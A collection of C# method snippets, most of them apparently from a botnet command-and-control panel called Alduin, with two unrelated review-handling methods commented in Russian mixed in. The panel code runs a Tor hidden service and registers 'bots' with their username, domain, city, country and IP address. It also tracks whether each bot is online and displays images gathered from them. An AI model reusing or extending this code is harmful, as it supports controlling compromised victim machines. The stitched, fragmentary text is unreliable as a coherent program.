public static void Main(string[] args) { Console.WriteLine("Starting"); try { #if (!DEBUG) // Release appsettingsModel appsettings = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/appsettings.json"), new appsettingsModel()); #else // Debug appsettingsModel appsettings = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/Alduin.Web/appsettings.json"), new appsettingsModel()); #endif if (appsettings.Tor.RunItStart) { Thread thr = new Thread(new ThreadStart(ConfigTor.StartTor)); Thread thrCD = new Thread(new ThreadStart(CloseDetector.Detecter)); thr.Start(); thrCD.Start(); } } catch (Exception e) { Console.Write(e.ToString()); }; CreateWebHostBuilder(args).Build().Run(); }
public IActionResult EditTorch(EditTorchFileModel model) { if (User.Claims.FirstOrDefault(c => c.Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/role").Value == "User") { return(RedirectToAction(nameof(HomeController.Index), "Home")); } ServerFileManager.FileWriter(ConfigTor.TorrcPath, model.Torch); return(View(model)); }
public IActionResult DeleteLog() { if (User.Claims.FirstOrDefault(c => c.Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/role").Value == "User") { return(RedirectToAction(nameof(HomeController.Index), "Home")); } ServerFileManager.FileWriter(GetPathes.Get_LogPath() + @"\Log.txt", ""); return(Content("Ok")); }
public static void Main(string[] args) { appsettingsModel appsettings = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/Alduin.Web/appsettings.json"), new appsettingsModel()); if (appsettings.Tor.RunItStart) { Thread thr = new Thread(new ThreadStart(ConfigTor.StartTor)); thr.Start(); } CreateWebHostBuilder(args).Build().Run(); }
public async Task <JsonResult> RegbotAsync([FromBody] BotRegisterModel model) { if (!ModelState.IsValid) { return(Json(new { success = false, result = "Invalid Model" })); } #if (!DEBUG) // Release appsettingsModel JsonString = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/appsettings.json"), new appsettingsModel()); #else // Debug appsettingsModel JsonString = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/Alduin.Web/appsettings.json"), new appsettingsModel()); #endif if (JsonString.Stump.KeyCertified != model.KeyCertified) { return(Json(new { success = false, result = "Key does not match" })); } var Keyquery = new GetBotByKeyUniqueQuery { KeyUnique = model.KeyUnique }; var botresult = _mediator.Send(Keyquery); if (botresult.Result == null) { var command = new RegbotCommand { UserName = model.UserName, Domain = model.Domain, City = model.City, CountryCode = model.CountryCode, KeyUnique = model.KeyUnique, LastIPAddress = model.LastIPAddress, CreationDateUTC = DateTime.Now, LastLoggedInUTC = DateTime.Now }; var result = await _mediator.Send(command); if (result.Suceeded) { return(Json(new { success = true, result = "Work" })); } } else { var BotUpdateCommand = new UpdateBotStatusCommand { id = botresult.Result.Id }; var result = await _mediator.Send(BotUpdateCommand); return(Json(new { success = true, result = "Updated" })); } return(Json(new { success = false, result = "Registration not success" })); }
public IActionResult Settings() { if (User.Claims.FirstOrDefault(c => c.Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/role").Value == "Admin") { appsettingsModel appsettings = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/Alduin.Web/appsettings.json"), new appsettingsModel()); return(View(appsettings)); } else { return(RedirectToAction(nameof(HomeController.Index), "Home")); } }
public IActionResult Settings(appsettingsModel model) { if (User.Claims.FirstOrDefault(c => c.Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/role").Value == "Admin") { var json = JsonConvert.SerializeObject(model); ServerFileManager.FileWriter(GetPathes.Get_SolutionMainPath() + "/Alduin.Web/appsettings.json", json); ViewData["Result"] = "ok"; return(View(model)); } else { return(RedirectToAction(nameof(HomeController.Index), "Home")); } }
public IActionResult GenerateNewAddress() { if (User.Claims.FirstOrDefault(c => c.Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/role").Value == "User") { return(RedirectToAction(nameof(HomeController.Index), "Home")); } try { ServerFileManager.FileDelete(ConfigTor.TorBaseFolder + @"\hostname"); ServerFileManager.FileDelete(ConfigTor.TorBaseFolder + @"\private_key"); } catch {}; Thread thr = new Thread(new ThreadStart(ConfigTor.StartTor)); thr.Start(); Thread.Sleep(5000); return(Content(readTorch())); }
private string readTorch() { var OnionAddress = ""; try { OnionAddress = ServerFileManager.FileReader(ConfigTor.TorBaseFolder + @"/hostname"); } catch { Process[] p; p = Process.GetProcessesByName(ConfigTor.Tor); if (!(p.Length > 0)) { Thread thr = new Thread(new ThreadStart(ConfigTor.StartTor)); thr.Start(); } OnionAddress = _localizer["Read error! Please reload page!"]; }; return(OnionAddress); }
/// <summary> /// Создает или изменяет отзыв пользователя в базе, используя готовую модель, и сохраняет файлы, переданные пользователем, по указанному пути на сервере /// </summary> public async Task Execute() { var id = _model.Id ?? Guid.NewGuid(); if (_model.EditMode) { await Repository.Update(id, _model.Text); return; } var files = ServerFileManager.SaveFilesToServer(_model.Files, _path, id.ToString()); await Repository.Insert( id, _model.CategoryId, _model.Text, _model.UserName, files ); }
public async Task <IActionResult> Bot(int id) { try { appsettingsModel appsettings = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/Alduin.Web/appsettings.json"), new appsettingsModel()); var query = new GetBotByIdQuery { Id = id }; GetImgJsonModel ImagesJsonModel = JsonConvert.DeserializeAnonymousType(await _getBotImagesJsonServices.GetAllImg(id), new GetImgJsonModel()); var bot = await _mediator.Send(query); DateTime DateNowUTC = DateTime.UtcNow.AddMinutes(-5); var status = _localizer["Offline"]; if (bot.LastLoggedInUTC >= DateNowUTC) { status = _localizer["Online"]; } var botInquiryDeatils = new BotDeatilsInquiryModel { Name = bot.UserName, Domain = bot.Domain, LastIPAddress = bot.LastIPAddress, LastLoggedInUTC = bot.LastLoggedInUTC, Status = status, KeyCertified = bot.KeyCertified, KeyUnique = appsettings.Stump.KeyCertified }; var botmodel = new BotModel { newImagesJsonModel = ImagesJsonModel, newBotDeatilsInquiryModel = botInquiryDeatils }; return(View(botmodel)); } catch { return(RedirectToAction(nameof(List))); }; }
public async Task <IActionResult> Bot(int id) { try { var getImagesStatus = ""; #if (!DEBUG) // Release appsettingsModel appsettings = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/appsettings.json"), new appsettingsModel()); #else // Debug appsettingsModel appsettings = JsonConvert.DeserializeAnonymousType(ServerFileManager.FileReader(GetPathes.Get_SolutionMainPath() + "/Alduin.Web/appsettings.json"), new appsettingsModel()); #endif GetImgJsonModel ImagesJsonModel; var query = new GetBotByIdQuery { Id = id }; var bot = await _mediator.Send(query); if (_env.WebRootFileProvider.GetDirectoryContents("img/Bots/" + bot.UserName + "_" + id).Exists) { var fullpath = _env.WebRootFileProvider.GetFileInfo("img/Bots")?.PhysicalPath + "/" + bot.UserName + "_" + id; var files = Directory.GetFiles(fullpath);//Wait to test List <string> images = new List <string>(files); ImagesJsonModel = new GetImgJsonModel() { Images = images }; getImagesStatus = "local"; } else { try { ImagesJsonModel = JsonConvert.DeserializeAnonymousType(await _getBotImagesJsonServices.GetAllImg(id), new GetImgJsonModel()); if (ImagesJsonModel.Images.Count == 0) { getImagesStatus = "nothing"; } else { getImagesStatus = "network"; } } catch { ImagesJsonModel = JsonConvert.DeserializeAnonymousType("{'Images':[]}", new GetImgJsonModel()); getImagesStatus = "nothing"; }; } DateTime DateNowUTC = DateTime.UtcNow.AddMinutes(-5); var status = _localizer["Offline"]; if (bot.LastLoggedInUTC >= DateNowUTC) { status = _localizer["Online"]; } var botInquiryDeatils = new BotDeatilsInquiryModel { Name = bot.UserName, Domain = bot.Domain, LastIPAddress = bot.LastIPAddress, LastLoggedInUTC = bot.LastLoggedInUTC, Status = status, KeyCertified = bot.KeyCertified, KeyUnique = appsettings.Stump.KeyCertified }; var botmodel = new BotModel { newImagesJsonModel = ImagesJsonModel, newBotDeatilsInquiryModel = botInquiryDeatils, getImagesStatus = getImagesStatus }; ViewData["ID"] = id; return(View(botmodel)); } catch (Exception e) { return(Content(e.ToString())); }; }
public IActionResult Logger() { var log = ServerFileManager.FileReader(GetPathes.Get_LogPath() + @"\Log.txt"); return(Content(log)); }
/// <summary> /// Удаляет отзыв с указанным id и все прикрепленные файлы /// </summary> /// <returns></returns> public async System.Threading.Tasks.Task Execute() { ServerFileManager.DeleteAttachedFiles(Path.Combine(_path, _id.ToString())); await Repository.Delete(_id); }